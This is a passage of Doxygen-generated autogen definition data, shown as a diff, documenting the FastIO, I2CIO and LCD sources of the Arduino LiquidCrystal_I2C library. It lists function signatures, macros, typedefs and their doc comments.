func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '182'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '177'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_fast_i_o_8h'; + file-name = 'FastIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a04971fe5fabe4129736708c494e08e6d'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_BLOCK'; + define-mem-param = { + define-mem-def-name = 'dummy'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +if(true) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '58'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a362c18b15a09703e42e1c246c47420ef'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_RESTORESTATE'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '59'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a89e1c62276052100c62b6c82a2e95622'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_HIGH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,HIGH) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '143'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + This is where the magic happens that makes things fast. + Implemented as preprocessor directives to force inlining + SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1ac8f00a1bccb98109531b88fbb6e91478'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_LOW'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,LOW) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '144'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a6d1dffed7f0c8f28f6c88146315f7832'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit, !digitalRead(bit)) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '145'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1accae9687fdfc5f3492fb6344d62eb190'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCHTO'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'val'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,val); +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '146'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a32f90d0ad5c1295c97cc1e79936aadd6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FIO_FALLBACK'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '57'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a688a4adbb87520a2b68681bd6bfb199e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SKIP'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x23 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + typedef = { + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1a0a595a88b29bcfd1540b6fac75787937'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_bit'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '60'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1ae44ea3af54ef26db03f1ae2ea62f9c1f'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_register'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '61'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a197336e47e1c3f929056ce3abbbc7e8d'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '158'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '128'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '115'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '106'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a385ae40d960c1a57e86818332476a802'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LOW +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '97'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '184'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '172'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a33ce251dcd6b448185cda415a99001cf'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '194'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1af2aac35d9a8ab7a2c87672f2c7cbbafb'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '202'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '210'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '217'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '32'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a0f50ae3b4bdb42dd5ad74b2c604a7515'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_OFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '151'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = 